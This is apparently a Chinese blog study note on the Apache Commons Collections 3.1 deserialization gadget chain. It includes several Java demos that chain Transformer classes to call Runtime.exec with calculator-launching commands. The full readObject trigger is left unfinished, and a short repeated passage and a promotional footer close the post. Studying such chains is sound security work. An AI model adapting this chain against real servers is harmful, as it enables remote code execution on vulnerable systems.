赞
踩
Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons
的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和
Dormant(是一些刚启动或者已经停止维护的项目)。
Commons Collections包为Java标准的Collections
API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
CC链的前提是序列化或者反序列化:
序列化需要两个条件:
1、该类必须实现 java.io.Serlalizable接口
2、该类的所有属性必须是可序列化的,如果有不可序列化的属性必须注明是短暂的
下边我们以Apache Commons collections 反序列化漏洞为例,先去下边地址下载commons-
collections-3.1.zip文件:
https://archive.apache.org/dist/commons/collections/binaries/commons-
collections-3.1.zip
下载完成后解压,然后IDEA新建一个Java项目导入commons-collections-3.1.jar包,如图:
我使用的jdk版本为:1.8.0_281
然后在src-com-company下创建一个class文件,内容如下:
ApacheCommonsCollectionsDemo.java
package com.company; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap; public class ApacheCommonsCollectionsDemo { public static void main(String[] args) { //((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("calc") //构造恶意的chain Transformer[] transformers = new Transformer[] { //通过内置的ConstantTransformer来获取Runtime类 new ConstantTransformer(Runtime.class), //通过InvokerTransformer来反射调用getMethod方法,参数是getRuntime,其后类似 new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null,new Object[0]}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open -a Calculator"}) }; Transformer transformChain = new ChainedTransformer(transformers); //普通的Map Map mp=new HashMap(); mp.put("sw", "demo"); // 将普通的Map变成TransformedMap,并且指定变换方式为前面定义的恶意chain Map transformMap = TransformedMap.decorate(mp, transformChain, transformChain); // 修改TransformedMap中的一个值,成功执行命令 Map.Entry entry=(Map.Entry) transformMap.entrySet().iterator().next(); entry.setValue("test"); } }
Transformer是一个用于规范类型转换行为的接口,实现该接口的类有:ChainedTransformer, CloneTransformer,
ClosureTransformer, ConstantTransformer, ExceptionTransformer,
FactoryTransformer, InstantiateTransformer, InvokerTransformer,
MapTransformer, NOPTransformer, PredicateTransformer, StringValueTransformer,
SwitchTransformer(3和4的部分实现类有所区别)
介绍一部分实现类(需要用到的类)
作用:获取class对象
关键是调用transform对象
demo.java
// 学习反序列化CC链调试程序 package com.company; import org.apache.commons.collections.functors.ConstantTransformer; public class Main { public static void main(String[] args) { // write your code here ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);//通过ConstantTransformer这个方法来进行获取Runtime.class //相当于是你传入Runtime.class 下面就会返回这个类,传入什么返回什么 Object transform = constantTransformer.transform("any"); System.out.println(transform); System.out.println(transform.getClass().getName()); } }
transform方法会忽略传入参数,不会改变当前对象,所以我们输出的还是:
class java.lang.Runtime
java.lang.Class
通过反射调用传入对象的方法(public属性)
最常用的构造方法有三个参数:
1、methodname方法
2、class类型
3、方法参数
例如:methodName:“exec”,new Class[]{String.class},new Object[]{cmd}
commons-collections从3.2.2版本开始尝试序列化或反序列化此类都会抛出UnsupportedOperationException异常,这个举措是为了防止远程代码执行;如果允许序列化该类就要在运行时添加属性-Dproperty=true
commons-collections4从4.1之后直接禁止被用于反序列化
它的Transform方法就是首先接受一个对象(ChainedTransformer),然后获取该对象的名称(ConstantTransformer),最后通过InvokerTransformer传入三个参数。
命令执行
// 方法一:常规套三层 InvokerTransformer ChainedTransformer chain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer( "getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null} ), new InvokerTransformer( "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ), new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{"calc.exe"} ) } ); chain.transform("any"); // 任意传入都可 // 法二:传入 Runtime 实例 ChainedTransformer chain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{"calc.exe"} ) } ); chain.transform("any"); // 任意传入都可
传入Transformer数组初始化对象;transform方法依次调用Transformer实现类的transform方法处理传入对象,也就是transform方法的组合拳利用
上边的三个类连起来形成一条链的话就是:
package com.CC; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; public class Demo03 { public static void main(String[] args) { String cmd = "calc.exe"; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{ "getRuntime", new Class[0]}//获取到了getRuntime方法 ), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null, new Object[0]}//用invoke方法传递参数 ), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd}) }; // 创建ChainedTransformer调⽤链对象 Transformer transformedChain = new ChainedTransformer(transformers); // 执⾏对象转换操作 transformedChain.transform(null); } }
1) ConstantTransformer把传入对象转换为常量,并返回得到该对象(Runtime.class)
2)InvokerTransformer通过反射获取传入对象的方法,并且加入参数
3)ChainedTransformer执行链式的Transformer方法,将反射包含的数组进行链式调用,从而连贯起来
4)然后查找哪个对象能够接收ChainedTransformer方法
这个类就是为了上一个方法的第四步
上一个方法的第四步之后我们得到的是ChainedTransformer,一个转换链,TransformedMap类提供将map和转换链绑定的构造函数,只需要将数据添加到map中就可以调用这个转换链执行payload。
这样我们就可以把触发条件从显性的调用转换链的transform函数延伸到修改map的值,后者是一个常规操作,相比前者更容易触发。
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
Transformer实现类分别绑定在map的key和value上,当map的key和value被修改时,会调用对应Transformer实现类的transformer()方法。
我们可以把 chainedtransformer 绑定到一个 TransformedMap 上,当此map的key或value发生改变时(调用
TransformedMap 的 setValue/put/putAll 中的任意方法),就会自动触发 chainedtransformer。
package com.CC; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class Demo04 { public static void main(String[] args) { String cmd = "calc.exe"; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{ "getRuntime", new Class[0]} ), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null, new Object[0]} ), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd}) }; // 创建ChainedTransformer调⽤链对象 Transformer transformedChain = new ChainedTransformer(transformers); //创建Map对象 Map map = new HashMap(); map.put("value", "value"); // 使⽤TransformedMap创建⼀个含有恶意调⽤链的Transformer类的Map对象 Map transformedMap = TransformedMap.decorate(map, null, transformedChain); // transformedMap.put("v1", "v2");// 执⾏put也会触发transform // 遍历Map元素,并调⽤setValue⽅法 for (Object obj : transformedMap.entrySet()) { Map.Entry entry = (Map.Entry) obj; // setValue最终调⽤到InvokerTransformer的transform⽅法,从⽽触发Runtime命令执⾏调⽤链 entry.setValue("test"); } // System.out.println(transformedMap); } }
TransformedMap 的条件:
1)实现了 java.io.Serializable 接口;
2)并且可以传入我们构造的TransformedMap对象(如上边例子中传入map的transformedChain对象);
3)调用了TransformedMap中的setValue/put/putAll中的任意一个方法;
上面的漏洞触发条件仍然不够完美,需要服务端把我们传入的序列化内容反序列化为map,并对值进行修改。
之前也说过完美的反序列化漏洞还需要一个readobject复写点,使只要服务端执行了readObject函数就等于命令执行。
在jdk1.7中就存在一个完美的readobject复写点的类sun.reflect.annotation.AnnotationInvocationHandler。-----
这里待深入分析
以上文章为个人学习Java相关知识的一种记录,有幸在大佬们的基础上进行分析、学习。
待分析
https://tyskill.github.io/posts/javatransformchain/#contents:transform
https://blog.csdn.net/xhy18634297976/article/details/122749129
就等于命令执行。
在jdk1.7中就存在一个完美的readobject复写点的类sun.reflect.annotation.AnnotationInvocationHandler。-----
这里待深入分析
以上文章为个人学习Java相关知识的一种记录,有幸在大佬们的基础上进行分析、学习。
待分析
https://tyskill.github.io/posts/javatransformchain/#contents:transform
https://blog.csdn.net/xhy18634297976/article/details/122749129
这时候你当然需要一份系统性的学习路线
如图片过大被平台压缩导致看不清的话,可以在文末下载(无偿的),大家也可以一起学习交流一下。
一些我收集的网络安全自学入门书籍
一些我白嫖到的不错的视频教程:
上述资料【扫下方二维码】就可以领取了,无偿分享
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。